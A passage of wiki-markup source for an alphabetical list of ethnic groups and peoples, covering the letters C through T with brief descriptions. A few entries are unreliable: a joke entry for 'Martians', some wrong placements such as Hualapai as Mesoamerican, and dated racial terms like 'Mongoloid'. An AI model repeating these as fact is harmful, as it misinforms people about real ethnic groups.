*[[Chipewyan]] - [[Aboriginal peoples in Canada|Native American]] people of northwest [[Canada]]
*[[Ojibwa|Chippewa]] - [[Indigenous peoples of the Americas|Native American]] people inhabiting the [[Great Lakes (North America)|Great Lakes]] region of [[Canada]] and also living in [[Minnesota]], [[North Dakota]], [[Wisconsin]], [[Michigan]] and [[Montana]]
*[[Chitimacha]]
*[[Circassians]] or [[Cherkezians]]
*[[Cho Ro]]
*[[Choctaw]] - [[Native Americans in the United States|Native American]] people formerly of [[Mississippi]] and [[Alabama]], now mostly living in [[Oklahoma]]
*[[Chukchansi]]
*[[Chumash]] - Group of [[Native Americans in the United States|Native American]] peoples inhabiting coastal southern California
*[[Chuvash]] - A [[Turkic peoples|Turkic]] people in [[Russia]]
*[[Chut]]
*[[Ciboney]] - [[Mesoamerica]]n inhabitants of [[Cuba]], now extinct
*[[Circassians]]
*[[Clayoquot]] - [[Aboriginal peoples in Canada|Native American]] people of [[Vancouver Island]], [[British Columbia]]
*[[Co (ethnicity)|Co]]
*[[Co Ho]]
*[[Co Lao]]
*[[Co Tu]]
*[[Coast Salish]] - [[Indigenous peoples of the Americas|Native Americans]] of the [[Pacific Northwest]]
*[[Cochiti]] - [[Native Americans in the United States|Native American]] people of the southwestern [[United States]]
*[[Cocopah]]
*[[Coeur d'Alene (tribe)|Coeur d'Alene]] - [[Indigenous peoples of the Americas|Native American]] people of the [[Rocky Mountains]]
*[[Coharie]]
*[[Colchians]] or [[Kolchians]]
*[[Coloured]] - term used to denote mixed-race inhabitants of [[South Africa]]. See also [[Cape Coloured]]
*[[Colville]] - [[Native Americans in the United States|Native American]] people inhabiting [[Washington]]; one of the [[Salish]] tribes
*[[Comanche]] - [[Native Americans in the United States|Native American]] people inhabiting [[Oklahoma]], [[Texas]], [[California]] and [[New Mexico]]
*[[Cong (ethnic group)|Cong]]
*[[Coquille]]
*[[Cornish people|Cornish]] - a [[Great Britain|British]] people from [[Cornwall]] in the South West of [[Great Britain]].
*[[Corsicans]] - inhabitants of island off the south coast of [[France]]
*[[Costanoan]] - [[Native Americans in the United States|Native American]] people of central California, one of the [[Mission Indian]] peoples
*[[Coushatta]] - [[Native Americans in the United States|Native American]] now resident in [[Texas]]. See also [[Alabama (people)|Alabama]]
*[[Cowichan]] - [[Aboriginal peoples in Canada|Native American]] inhabitants of [[Vancouver Island]], [[British Columbia]]
*[[Cowlitz (tribe)|Cowlitz]] - [[Native Americans in the United States|Native American]] people of western [[Washington]]; one of the [[Salish]] peoples
*[[Cree]] - widely dispersed [[Indigenous peoples of the Americas|Native American]] people inhabiting the northern [[United States]] and [[Canada]]
*[[Creek (people)|Creek]] - [[Native Americans in the United States|Native American]] people originally of [[Alabama]] but now mostly residing in [[Oklahoma]]
*[[Créole]] - referring either to people of [[Iberians|Iberian]] or [[France|French]] ancestry in the [[The Americas|Americas]], or people of mixed [[Alaska Natives|Native American]] and [[European]] ancestry in [[Alaska]]
*[[Croats]] - [[Slavic people]] of [[southeastern Europe]]
*[[Crow (ethnic group)|Crow]] - [[Native Americans in the United States|Native American]] people of the northern [[Great Plains]], now chiefly residing in southeast [[Montana]]; one of the [[Sioux]] peoples
*[[Cupeño]]
*[[Curacao|Curacaoan]]
*[[Czechs]] - [[Slavic people]] of [[central Europe]]

==D==
*[[Dai]] ([[Thai ethnic groups|Thai]], [[Thai Lue]])
*[[Dakelh]] - [[First Nations]] people of [[British Columbia]], [[Canada]], one of the [[Athabaskan]] group of peoples
*[[Dakota (ethnic group)|Dakota]]
*[[Damara (people)|Damara]]
*[[Danmin]]
*[[Dargins]] - [[Dagestan]]i
*[[Daur]]
*[[De'ang]]
*[[Deg Hi'tan]] - [[Alaska]]n natives
*[[Lenni Lenape|Delaware]] - Eastern [[United States]] [[Native Americans in the United States|Native American]]
*[[Dena'ina (tribe)|Dena'ina]] (also known as the Tanaina)
*[[Dendi]]
*[[Derbish]]
*[[Danes|Danish]] - [[Germanic people]] of [[Scandinavia]]
*[[Diegueno]]
*[[Dinka]]
*[[Diola people|Diola]]
*[[Dogon]] - The Dogon are an ethnic group located mainly in the administrative districts of [[Bandiagara]] and [[Douentza]] in [[Mali]], [[West Africa]]. 
*[[Dominican Republic|Dominican]] - from the [[Dominican Republic]], [[Hispaniola]]
*[[Dominica|Dominican]] - from [[Dominica]]
*[[Dong people|Dong]]
*[[Dongxiang]]
*[[Dravidians]] - inhabitants of [[Southern India]] and [[Sri Lanka]]
*[[Drung]]
*[[Du]]
*[[Duala peoples]] - collection of related ethnic groups from the coast of [[Cameroon]]
*[[Dutch people|Dutch]] - [[Germanic people]] of northern [[Europe]]

==E==
*[[East Indies|East Indian]] - inhabitants of the [[East Indies]] ([[South Asia]] and [[South-East Asia]])
*[[E De]]
*[[Demographics of Egypt#People|Egyptians]] - native people of eastern North Africa.
*[[English (people)|English]] - a [[British]] people with ancestry from [[England]], native to the [[United Kingdom]]
*[[Enxet]]
*[[Eritrea]]n - formerly of [[Ethiopia]], on the [[Red Sea]]
*[[Eshira]]
*[[Eskimo]] - see [[Inuit]]
*[[Esselen]]
*[[Estonians]] - [[Finnic]] people in [[Estonia]], [[northeastern Europe]]
*[[Evenks]]
*[[Eurasain]]-A person of mixed European and Asian descent

==F==
*[[Faroese]] - [[Germanic tribes|Germanic]] group of the [[Faroe Islands]] between [[Iceland]] and [[Scotland]].
*[[Fars]] - native name for [[Persians]]
*[[Fiji]]an - [[Polynesia]]n group, central South [[Pacific Ocean]]
*[[Philippines|Filipino]] (or in referring to females, 'Filipina')
*[[Ethnic Finns|Finns]] - Ethnic group in [[Finland]] and [[Scandinavia]]
*[[Flemings|Flemish]] - [[Belgium]] and the [[Netherlands]]
*[[Fon people|Fon]] - Togo, Benin
*[[Fur (people)|Fur]] - western [[Sudan]] ([[Darfur]])
*[[Franks]] 
*[[French people|French]] (more than disputed; [[Ernest Renan]]'s definition of a [[nation-state|nation]] on subjective criterias is opposed to [[Fichte]]'s definition of the [[German people]] as a ''[[Volk]]'' - an &quot;ethnic group&quot;).
*[[French American]]
*[[French Canadian]] - of French Canadian culture, historically self-identified as ''Canadiens'', then later as ''Canadiens-français'' and those today  living in the province of Quebec as ''Québécois''. See also [[Québécois]], [[Métis people (Canada)|Métis]] and [[Acadians]].
*[[Frisian]] - Germanic group on a few islands in the [[North Sea]]
*[[Fula]] or Fulfulde
*[[Fulani]]
*[[Fulbe]]
*[[Fulni-o]]

==G==
*[[Ga people|Ga]] - people of southern Ghana
*[[Gagauz]]
*[[Galician]] - people of northwestern Spain
*[[Gaoshan]] - aboriginal people of [[Taiwan]]
*[[Garifuna]]
*[[Ge (people)|Ge]] - northern [[South America]], [[Caribbean]] coast
*[[Gelao]]
*[[Georgian people|Georgian]] - [[Caucasus]] region, of [[Georgia (country)|Georgia]]
*[[ethnic German|Germans]] - [[Germanic peoples]], relating to [[German culture]] and [[German language]]
*[[Gia Rai]]
*[[Giay]]
*[[Gie Trieng]]
*[[Gongduk]]
*[[Gorani]] - [[Slavic people]] in [[Serbia]]
*[[Goshute]]
*[[Goulaye]]
*[[Greeks]], [[ethnic Greek]]s - [[southeastern Europe]]
*[[Greenland]]er - inhabitants of the island in the northern Atlantic
*[[Grenada|Grenadian]]
*[[Grenadines|Grenadinian]]
*[[Griqua]] - [[South Africa]]
*[[Gros Ventre]]
*[[Gruzim]] - [[Georgian language|Georgian]]-speaking [[Jews]] from [[Georgia (country|Georgia]] in the [[Caucasus]]. 
*[[Guadeloupe|Guadeloupean]]
*[[Guajajara]]
*[[Guarani]]
*[[Gurage]] - [[Ethiopia]]
*[[ethnic Guruks|Guruks]]
*[[Gurung]]

==H==
*[[H'Re]]
*[[Ha-Nhi]]
*[[Haida]] - [[Pacific Northwest]] [[Indigenous peoples of the Americas|Native Americans]]
*[[Haitian]]
*[[Haitian Creole]]
*[[Hakka]]
*[[Haliwa-Sapponi]]
*[[Hamshenis]] - A [[Muslim]] [[Armenians|Armenian]] people living in [[Turkey]]
*[[Han Chinese]] - dominant ethnic group of [[China]]
*[[Hani]]
*[[Hausa people|Hausa]] West-Africa
*[[Havasupai]]
*[[Haw]]
*[[Native Hawaiians|Hawaii]]an - [[Polynesia]]n indigenous people of the island chain in the [[Pacific Ocean]]
*[[Hazara]] - inhabitants of [[Afghanistan]] and [[Pakistan]], who have mixed [[Mongoloid]], [[Indo-Aryans|Indo-Aryan]], [[Iranian peoples|Iranian]]/[[Persians|Persian]] and [[Turkic peoples|Turkic]] descent
*[[Herzegovina|Hercegovinian]] - arguably regional group of Croats and Serbs in [[Herzegovina]]
*[[Herero]]
*[[Hesquiat]]
*[[Hezhen]]
*[[Hidatsa]]
*[[Himba]]
*[[Hispanic]] - [[Spanish language|Spanish]]-speaking people, inhabiting [[Spain]] and the [[Americas]]
*[[Hmong]] - Southeast [[Asia]]
*[[Ho-Chunk]]
*[[Hoa]]
*[[Houma]]
*[[Hoh]]
*[[Hohokam]]
*[[Hoklo]]
*[[Holikachuk]]
*[[Hopi]] - [[Native Americans in the United States|Native American]], of the southwest [[United States]]
*[[Hui Chinese]]
*[[Magyars|Hungarians]] - people in [[Hungary]], [[central Europe]]
*[[Hualapai]] - Natives of [[Mesoamerica]]
*[[Hupa]]
*[[Huastec]]
*[[Huron]] - Eastern [[United States]] [[Native Americans in the United States|Native American]]
*[[Hutsuls]] - mountain people of [[Ukraine]] and [[Poland]]
*[[Hutu]] - [[Rwanda]]
*[[Hyksos]] -

==I==
*[[Iceland]]ic - North [[Atlantic Ocean|Atlantic]] island
*[[Igbo (people)|Igbo]] - [[West Africa]] ([[Nigeria]])
*[[Illinois (ethnic group)|Illinois]]
*[[Inca]]n - Of western [[South America]], along the [[Andes]] and particularly [[Peru]]
*[[People of India|Indian]] - inhabitants of [[India]] (refers to many ethnic groups)
*[[Indo-Aryans|Indo-Aryan]] - speakers of [[Indo-Aryan languages]] originating from [[Northern India]], [[Pakistan]], [[Bangladesh]] and [[Afghanistan]] (refers to many ethnic groups)
*[[Indo-Caribbean]] - Caribbean people (found mostly in [[Trinidad and Tobago]], [[Jamaica]]) and South American people (found mostly in  [[Guyana]], [[Suriname]])of South Asian origins [[India]], [[Nepal]], [[Myanmar]], [[Bangladesh]], [[Pakistan]], [[Sri Lanka]]
*[[Proto-Indo-Europeans|Indo-Europeans]] - hypothetical pre-historic people that spoke the hypothetical [[Proto-Indo-European language]]
*[[Indo-Iranians]] - speakers of [[Aryan]]/[[Indo-Iranian languages|Indo-Iranian]] languages originating from the [[Indian subcontinent]], [[Iranian plateau]] and [[Central Asia]] (refers to many ethnic groups)
*[[Indo-Trinidadian]] - Trinidad and Tobago people of South Asian origins [[India]], [[Nepal]], [[Myanmar]], [[Bangladesh]], [[Pakistan]], [[Sri Lanka]]
*[[Ingushes]] - [[Ingushetia]], northern [[Caucasus]]
* Ingalik - see ''[[Deg Hit'an]]''
*[[Innu]] - [[Aboriginal peoples in Canada|Native Americans]] of eastern [[Canada]]
*[[Inuit]] - Widespread in [[Alaska]] and northern [[Canada]]
*[[Iowa (ethnic group)|Iowa]]
*[[Iranian peoples|Iranian]] - [[Aryan]] speakers of [[Iranian languages]] inhabiting the [[Iranian plateau]], [[Afghanistan]], [[Tajikistan]], [[Uzbekistan]] and other parts of the [[Caucasus]] and [[Central Asia]] (refers to a number of ethnic groups including [[Persians]] and [[Kurds]])
*[[Irish people|Irish]] - the native people of [[Ireland]]
*[[Irish Traveller]] - nomadic people of Irish origin living in [[Ireland]], [[Great Britain]] and the [[United States]]
*[[Irish-American]] - Americans of [[Irish people|Irish]] descent
*[[Iroquois]] - [[Indigenous peoples of the Americas|Native Americans]] once widespread in the eastern [[United States]] and [[Canada]]
*[[Isleta]] - Natives from [[New Mexico]]
*[[Isoko]]
*[[Istro-Romanian]] - [[Istria]]
*[[Italy|Italian]] - from the [[Apennine]] peninsula in the south of [[Europe]]
*[[Italian-American]] - Americans of Italian descent
*[[Italkim]] - the [[History of the Jews in Italy|Jews of Italy]]

==J==
*[[Jamaica]]n - mixture of [[Africa]]n slaves, [[Central America]]n natives and [[England|English]] settlers, [[Caribbean]]
*[[Jacaltec]] - Maya people in [[Guatemala]]
*[[Japanese people]], [[ethnic Japanese]] - from the islands off the east coast of [[Asia]]
*[[Javanese]] - especially central to eastern part of [[Java (island)|Java]], [[Indonesia]]
*[[Jat]]
*[[Jemez]]
*[[Jew]]ish - widespread [[religion]] and [[nation]], also concentrated in [[Israel]]
*[[Jing]]
*[[Jingpo]]
*[[Jino]]
*[[Jivaroan]]
*[[Jola]]
*[[Jopadhola]]
*[[Jri]]

==K==
*[[Karaja]]
*[[Karakalpaks]] - a [[Turkic peoples|Turkic]] people of [[Central Asia]]
*[[Karamanlides]]
*[[Kabardin]] - A [[languages of the Caucasus|Caucasian]] people living in [[Russia]]
*[[Kalasha]] - an ethnic group in [[Pakistan]]
*[[Kalispel]]
*[[Karachay]] - A [[Turkic peoples|Turkic]] people in [[Russia]] (primarily [[Karachay-Cherkessia]])
*[[Karelians]] - [[Finnic]] people in [[Finland]] and [[Karelia]], [[northeastern Europe]]
*[[Karen people|Karen]] - Southeast [[Asia]]
*[[Karok]]
*[[Kashubians]] - a [[Slavic people]] of northern [[Europe]]
*[[Katang]]
*[[Kato (tribe)|Kato]]
*[[Katu]]
*[[Katuquina]]
*[[Kavango]]
*[[Kaw]]
*[[Kaxinawa]]
*[[Kazakhs]] - [[Turkic people|Turkic]]/[[Mongol]] people of [[North Asia|North]] and [[Central Asia]]
*[[Keresan]]
*[[Khakas]]
*[[Khang]]
*[[Khazars]]
*[[Khmer people|Khmer]] - Southeast [[Asia]], [[Cambodia]]
*[[Khmu]]
*[[Kho Mu]]
*[[Khomani]] or [[Nu|N/u]]
*[[Khoikhoi]] - Southern [[Africa]]
*[[Kickapoo]]
*[[Kinh]] or [[Jing]] or [[Vietnamese people|Vietnamese]]
*[[Kiowa]] - [[Native Americans in the United States|Native Americans]] of the [[Great Plains]] of the [[United States]]
*[[Kirghiz]] - [[Turkic people]] of [[Central Asia]]
*[[St. Kitts|Kittitian]]
*[[Klallam]]
*[[Klamath]] - [[Indigenous peoples of the Americas|Native Americans]] of the [[Pacific Northwest]]
*[[Klikitat]]
*[[Kolchan]]
*[[Kootenai (tribe)|Kootenai]]
*[[Koreans|Korean]] - from a peninsula in [[Asia]], south of [[Manchuria]] ([[China]]) and across the sea from [[Japan]]
*[[Koskimo]]
*[[Koyukon]] - [[Alaska Natives|Natives]] of [[Alaska]]
*[[Kpelle]] - Group from [[Guinea]], western [[Africa]]
*[[Kraho]] - Natives of northwestern [[Brazil]]
*[[Kri]] - Group from [[Sierra Leone]], western [[Africa]]
*[[Kui]]
*[[Kumeyaay]]
*[[Kumyks]] - [[Turkic people]] of northern [[Caucasus]]
*[[Kurds]] - large minority in [[Turkey]], [[Iraq]], [[Iran]] and [[Syria]]
*[[Kutenai]]
*[[Kwakiutl]] - of the [[Washington (state)|Washington]]/[[British Columbia]] area

==L==
*[[La Chi]]
*[[La Ha]]
*[[La Hu]]
*[[Laguna]]
*[[Lahu]]
*[[Laigain]] - from the northwestern region of Gaul
*[[Laks (Dagestan)|Laks]] - [[Caucasus]]
*[[Lakota]] - [[Indigenous peoples of the Americas|Native Americans]] of the [[Great Plains]] of the [[United States]] and [[Canada]]
*[[Lamet]]
*[[Lanka Moors]]- [[Sri Lankan Muslims of Arab origin]]
*[[Lao Sung]] - [[China]], [[Vietnam]], [[Laos]]
*[[Lao Theung]] - [[Laos]]
*[[Lao]] - southeast [[Asia]]
*[[Latino]] - Mixed native [[South America|South]] or [[Central America]]n, [[Spain|Spanish]] or [[Portugal|Portuguese]], and [[Africa]]n
*[[Latvians]] - [[Baltic people]] of [[northeastern Europe]]
*[[lavae]]
*[[Laven]]
*[[Lavi]]
*[[Lazoi]]
* [[:Category:Ethnic Lebanese|Ethnic Lebanese]]
*[[Lebou]]
*[[Lemko|Lemkos]] - mountain people of [[Central Europe]]
*[[Lenca]]
*[[Lezgins|Lezgis]] - [[Dagestan]]i
*[[Lhoba]]
*[[Li Chinese]]
*[[Limbu]]s
*[[Lipovans]] - [[Danube Delta]], [[Romania]]
*[[Lisu]]
*[[Lithuanians]] - [[Baltic people]] of [[northeastern Europe]]
*[[Livonian people|Livonians]] - [[Finnic]] people in [[Latvia]], [[northeastern Europe]]
*[[Lobi]]
*[[Lo Lo]]
*[[Lotuko]]
*[[Low German]] - Northern [[Germany]]
*[[Lu (ethnic group)|Lu]]
*[[Lue]]
*[[Luiseno]]
*[[Lumbee]]
*[[Lummi]]
*[[Luo]]
*[[Lusitanian]]

==M==
*[[M'Baka]]
*[[Ma]]
*[[Macedonian Slavs]] - [[Slavic people]] of [[southeastern Europe]]
*[[Macuxi]]
*[[Madurese]]
*[[Magar]]
*[[Mahican]] - [[Native Americans in the United States|Native Americans]] from [[New England]]
*[[Maidu]]
*Maingtha - see [[Achang]]
*[[Maka-Njem]] - people of southern [[Cameroon]]
*[[Makah]]
*[[Makua]]
*[[Makong]]
*[[Malabo]]
*[[Malayalee]] People of Kerala State, South India
*[[Malay people|Malay]] - dominant ethnic group in south-east Asia specifically [[Malaysia]], Indonesia, Brunei and the Philippines.
*[[Maliseet]]
*[[Malta|Maltese]] - syncretist group in the [[Mediterranean]]
*[[Mam]] - a Maya people of [[Guatemala]]
*[[Manchu]] - [[Manchuria]], now part of [[China]], north of [[Korea]]
*[[Mandan]]
*[[Mang]]
*[[Manx]] - indigenous people of the [[Isle of Man]]
*[[Maonan]]
*[[Mapuche]]
*[[Maratha]] - People of [[Western]] [[India]], formerly emperors of undivided [[India]]
*[[Maricopa]]
*[[Marquesan|Marquesas]] - [[Polynesia]]n island chain in the Eastern [[Pacific]]
*[[Mars|Martians]]
*[[Martinique|Martiniquais]]
*[[Māori]] - indigenous people of [[New Zealand]]
*[[Mashantucket Pequots]] - [[Native Americans in the United States|Native Americans]] of [[New England]]
*[[Mattaponi]]
*[[Matabele]] - [[Southern Africa]]
*[[Maubere]]
*[[Maya peoples|Maya]] - collective term for diverse groups of indigenous peoples of south-east [[Mexico]] and northern [[Central America]], widespread
*[[Me-Wuk]]
*[[Megleno-Romanians]] - in [[Greece]]
*[[Meherrin]]
*[[Melungeon]]
*[[Memon]] - [[India]] and [[Pakistan]]
*[[Menba]]
*[[Menominee]] - Eastern [[United States]] [[Native Americans in the United States|Native American]]
*[[Mentawai]] - [[Mentawai Islands]], [[West Sumatra]], [[Indonesia]]
*[[Métis people (Canada)|Métis]]
*[[Miami (ethnic group)|Miami]]
*[[Miao]]
*[[Miccosukee]] - Eastern [[United States]] [[Native Americans in the United States|Native American]]
*[[Middle Eastern]] - [[Assyrian people|Assyrian]]  [[Jewish]]  [[Arabs|Arabic]]  [[Turkish people|Turkish]]  [[Kurdish people|Kurdish]]  [[Persians]]
*[[Mi'kmaq]] - Eastern [[United States]] and [[Atlantic Canada]] [[Indigenous peoples of the Americas|Native American]]
*[[Meenas|Mina]]
*[[Minahasa]] - [[Indonesia]]
*[[Minangkabau]] - [[West Sumatra]], [[Indonesia]]
*[[Mingo (tribe)|Mingo]]
*[[Mission (people)|Mission]]
*[[Miwok]]
*[[Mixtec]] - [[Central America]]n natives
*[[Mnong]]
*[[Modoc]]
*[[Mohave]] - [[Native Americans in the United States|Native Americans]] of the southwest [[United States]]
*[[Mohawk nation|Mohawk]] - Eastern [[United States]] [[Native Americans in the United States|Native American]]
* [[Mohegan]]
*[[Moldovan]] - ethnic group that lives mainly in the [[Republic of Moldova]] and [[Ukraine]]
*[[Mon (ethnic group)|Mon]] - southeast [[Asia]], particularly [[Thailand]]
*[[Monacan]] - [[Native Americans in the United States|Native American]] ethnic group from the Eastern [[United States]], not to be confused with a person from [[Monaco]]
*[[Mongol]] - Central [[Asia]], between [[Russia]] and [[China]]
*[[Mono tribe|Mono]] - [[Native Americans in the United States|Native Americans]] from [[Eastern California]] and [[Nevada]]
*[[Montaukett]]
*[[Montenegrins (people)|Montenegrin]] - Slavicized descendants of the [[Dinaric race|Dinaric]] peoples of [[southeastern Europe]]
*[[Moors|Moor]] - people living mainly in Western Sahara and the Islamic Republic of Mauritania, from which the latter country derives its name.
*[[Moriori]] -  indigenous ethnic-group of the [[Chatham Islands]], [[New Zealand]] 
*[[Muckleshoot]]
*[[Mulam]]
*[[Munda people|Munda]]s
*[[Muong]]
*[[Mursi]]
*[[Museu]]
*[[Myene]]

==N==
*[[Nahanni]]
*[[Namaqua]]
*[[Nansemond]]
*[[Narragansett (tribe)|Narragansett]] - natives of [[New England]]
*[[Nauru]]an - [[Micronesia]]n group of islands in the [[Pacific Ocean]]
*[[Navajo Nation|Navajo]] - [[Native Americans in the United States|Native Americans]] of the southwest [[United States]]
*[[Naxi]]
*[[Ndau]]
*[[Nepal]]ese - south [[Asia]], between [[India]] and [[China]]
*[[Nespelim]]
* [[Neapolitan|Neapolitans]] - Specifically people from the Campania region of Italy but generally any southern Italian
*[[Nevis|Nevisian]]
*[[Newar]]
*[[Nez Percé]] - [[Indigenous peoples of the Americas|Native Americans]] of the [[Rocky Mountains]] area
*Ngac'ang - See [[Achang]]
*[[Ngae]]
*[[Nhahuen]]
*[[Nhuon]]
*[[Ni-Vanuatu]] - of [[Vanuatu]], an island chain in the [[Pacific Ocean]]
*[[Niominka]]
*[[Nipmuc]]
*[[Nishka]]
*[[Nisqually (tribe)|Nisqually]]
*[[Niue]]an - [[Polynesia]]n island in the [[Pacific Ocean]]
*[[Nogay|Nogais]] - [[Tatars]] of [[Dagestan]]
*[[Nomlaki]]
*[[Nooksack]] - [[Native Americans in the United States|Native Americans]] of [[Washington (state)|Washington]]
*[[Nu people|Nu]]
*[[Nu|N/u]] or [[Khomani]]
*[[Nubians]] - an African people native to the upper [[Nile Valley]], between Egypt and Sudan
*[[Nung]]
*[[Nuu-chah-nulth]] - [[Indigenous peoples of the Americas|Native Americans]] of the pacific northwest of [[North America]].

==O==
*[[O Du]]
*[[Occitan]]s
*[[Oglala]] - [[Native Americans in the United States|Native Americans]] of the central [[United States]]
*[[Ojibwa]]
*[[Okamba]]
*[[Okande]]
*[[Olmec]]
*[[Omaha (ethnic group)|Omaha]]
*[[Oneida]]
*[[Onondangua]]
*[[Orkney Island]]ers - people from Great Britain's Orkney Islands
*[[Oromo]] - [[Ethiopia]]
*[[Oroqin]]
*[[Osage Nation]] of Oklahoma (formerly also of Missouri, Kansas, and Arkansas)
*[[Ossetians]] - [[Iranian language|Iranian]] speaking people of the [[Caucasus]]
*[[Otoe-Missouria]]
*[[Ottawa (ethnic group)|Ottawa]]
*[[Ovambo]]

==P==
*[[Pa Then]]
*[[Paiute]]
*[[Pākehā]] - Caucasian New Zealanders with no or little defined European links, typically of British, Irish and Dutch extraction
*[[Pakoh]]
*[[Palestinian]] - much-disputed ethnic group of the [[Middle East]]
*[[Pamunkey]]
*[[Panoan]]
*[[Parsi]] - original native name for [[Persians]] (also used in [[India]] to refer to its Persian community)
*[[Pashtun]] (Pathan) - large group inhabiting [[Afghanistan]] and [[Pakistan]] (with smaller communities in [[Iran]] and [[India]]) who have mixed [[Indo-Aryans|Indo-Aryan]], [[Persians|Persian]]/[[Iranian peoples|Iranian]], [[Turkic peoples|Turkic]], [[Kurdish people|Kurdish]], [[Mediterranean]], [[Mongol]] and [[Central Asian]] descent
*[[Passamaquoddy]]
*[[Patagonia]]n - southern tip of [[South America]], [[Argentina]]
*[[Pataxo]]
*[[Paugusset]]
*[[Pawnee]] - Eastern [[United States]] [[Native Americans in the United States|Native American]]
*[[Plain sects|Pennsylvania Dutch]] - members of [[Plain sects]] who conduct religious services in Pennsylvania German, a dialect very similar to the German spoken in the lower Rhine area, from which they came.
*[[Pennsylvania Dutch|Pennsylvania German]] - people of many religious affiliations whose families were formerly Pennsylvania Dutch. Called Pennsylvania Dutch by some.
*[[Penobscot]] - Eastern [[United States]] [[Native Americans in the United States|Native American]]
*[[Peoria (ethnic group)|Peoria]]
*[[Persians]] - ([[Persian language|Persian]]) speaking [[Iranian peoples]] in [[Iran]], [[Afghanistan]], [[Tajikistan]], [[Uzbekistan]] and other parts of the [[Caucasus]] and [[Central Asia]] (linguistically belong to the [[Aryan]]/[[Indo-Iranian]] branch).
*[[Phong]]
*[[Phu La]]
*[[Phu Noi]]
*[[Phu Thai]]
*[[Piegan]]
*[[Pima]]
*[[Pit River Indians]]
*[[Pitcairn-Norfolk]]
*[[Poles|Polish]] - [[Slavic people]] of Central [[Europe]]
*[[Pomaks]] -  [[Slavic Muslim]] [[Bulgarians]] found in [[Bulgaria]],[[Turkey]] and [[Greece]]
*[[Pomo]]
*[[Ponca]]
*[[Poospatuck]]
*[[Portuguese people|Portuguese]] - extreme southwest of [[Europe]]
*[[Potawatomi]] - Eastern [[United States]] [[Native Americans in the United States|Native American]]
*[[Potiguara]]
*[[Powhatan]] - Eastern [[United States]] [[Native Americans in the United States|Native American]]
*[[Proto-Indo-Europeans]] - pre-historic speakers of the hypothetical [[Proto-Indo-European language]]
*[[Pu Peo]]
*[[Pueblo people]] - [[Indigenous peoples of the Americas|Native Americans]] of the [[Rocky Mountains]]-area
*[[Puelche]]
*[[Puget Sound Salish]] - of [[Washington (US state)|Washington]]
*[[Punjabi]] - [[Indo-Aryans|Indo-Aryan]] group inhabiting the [[Punjab region|Punjab]], located between [[India]] and [[Pakistan]]
*[[Pumi]]
*[[Puyallup (tribe)|Puyallup]]

==Q==
*[[Qashqai]]
*[[Quahatika]]
*[[Quapaw]]
*[[Quechan]]
*[[Qiang]]
*[[Quiché]]
*[[Quileute]]
*[[Quinault]]

==R==
*[[Ra Glai]]
*[[Rais]]
*[[Ramapough Mountain Indians]]
*[[Rappahannock]] - of the mid-Atlantic region of the [[United States]]
*[[Rashaida]] - minority group in [[Sudan]], closely related to the [[Bedouin]]
*[[Ro Mam]]
*[[Rohingya]] - Muslim minority group in North western [[Myanmar]]
*[[Roma people|Roma]] - one of the two groups more commonly known as Gypsies, who are of [[North Indian]]/[[Indo-Aryans|Indo-Aryan]] descent
*[[Romanians|Romanian]] - [[Eastern Europe]]an
*[[Russians|Russian]] - [[Slavic people]] of [[eastern Europe]], originally of [[Moscow]] area, now widespread through [[Siberia]] and the [[Urals]] to the [[Pacific Ocean]]
*[[Rusyns]] (Ruthenes)
*[[Rutuls]] - [[Dagestan]]i
*[[Ryukyuans]] - the native inhabitants of the [[Ryukyus]], a chain of islands starting about 200km southwest of the [[Japanese mainland]]. They are usually subgrouped as follows: [[Northern Ryukyuans]] are further subdivided into [[Amamians]] and [[Okinawan|Okinawans]], and [[Southern Ryukyuans]] are further subdivided into [[Miyakoans]], [[Yaeyamans]], and [[Yonagunians]]

==S==
*[[S'Klallam]]
*[[Sami people|Sami]] - indigenous people of northern [[Scandinavia]] and [[Siberia]]
*[[Samoa]]n - [[Polynesia]]n island chain in the [[Pacific Ocean]]
*[[Sadang]]
*[[Saek]]
*[[Salar]]
*[[Salish]] - of [[Washington (U.S. state)|Washington]] and [[British Columbia]]
*[[Samaritan]]
*[[Samtao]]
*[[Bushmen|San]]
*[[San Chay]]
*[[San Diu]]
*[[Sardinian|Sardinians]] - inhabitants of an island in the Mediterranean
*[[Sauk]]
*[[Sauk-Suiattle]]
*[[Scandinavia]]n
*[[Scottish people|Scottish]] - a British people from the north of [[Great Britain]]
*[[Scotch-Irish]] - descendants of [[Ulster-Scots]] who migrated to North America
*[[Sekani]]
*[[Seminole]] - natives of [[Florida]]
*[[Sena people|Sena]]
*[[Seneca tribe|Seneca]] - [[Native Americans in the United States|Native Americans]] of the [[New York (state)|New York]] area
*[[Serbs]] - [[Slavic people]] of [[southeastern Europe]] ([[Balkans]])
*[[Serer]]
*[[Serer-Ndut]]
*[[Shangaan]]
*[[Shasta tribe]]
*[[Shawnee (tribe)|Shawnee]]
*[[She (ethnic group)|She]]
*[[Sherpa (people)|Sherpa]] - group in [[Nepal]] and the [[Himalaya]]
*[[Shetland Island|Shetlander Islanders]] - a British people from the Shetland Islands
*[[Shinnecock]]
*[[Shoalwater Bay Tribe]]
*[[Shoshone]]
*[[Shui]]
*[[Si La]]
*[[Sicily|Sicilian]] - inhabitants of an island in the Mediterranean
*[[Sidamo]] - [[Ethiopia]]
*[[Siksika]]
*[[Siletz]]
*[[Sindhi people|Sindhis]] - [[Indo-Aryans]] inhabiting Pakistan and India
*[[Singmun]]
*[[Sinhalese]] - [[Indo-Aryans|Indo-Aryan]] group inhabiting the majority of [[Sri Lanka]]
*[[Sinti]] - one of the two main groups of Gypsies, who are of [[North Indian]]/[[Indo-Aryans|Indo-Aryan]] descent
*[[Sioux]] - Northern Central [[United States]]
*[[Siuslaw]]
*[[Slavic peoples|Slavic]]
*[[Slovaks|Slovak]] - [[Slavic people]] of [[central Europe]]
*[[Slovenes|Slovene]] - [[Slavic people]] of [[central Europe]]
*[[Slovincian]] - in [[Pomerania]]
*[[Skokomish]]
*[[Somali]] - eastern [[Africa]]
*[[Somba]]
*[[Sorbs|Sorbic]] - concentrated [[Slavic people|Slavic]] minority in [[Germany]]
*[[Soso]]- [[Guinea]], [[Conakry]]
*[[Souei]]
*[[Spaniards|Spanish]] - southwestern [[Europe]]
*[[Spokane (people)|Spokane]]
*[[Squaxin Island Tribe]]
*[[Stillaguamish]]
*[[Sundanese]] - western part of [[Java (island)|Java]], [[Indonesia]]
*[[Suquamish]]
*[[Swazi]] - [[southern Africa]], [[Swaziland]]
*[[Swinomish]]
*[[Syriacs]]

==T==
*[[Ta Oi]]
*[[Tabasarans]] - [[Dagestan]]i
*[[Tache]]
*[[Tachi]]
*[[Tagish]]
*[[Tahiti]]an - [[Pacific Ocean]] island, [[Polynesia]]
*[[Taíno]] - natives of the [[Caribbean]]
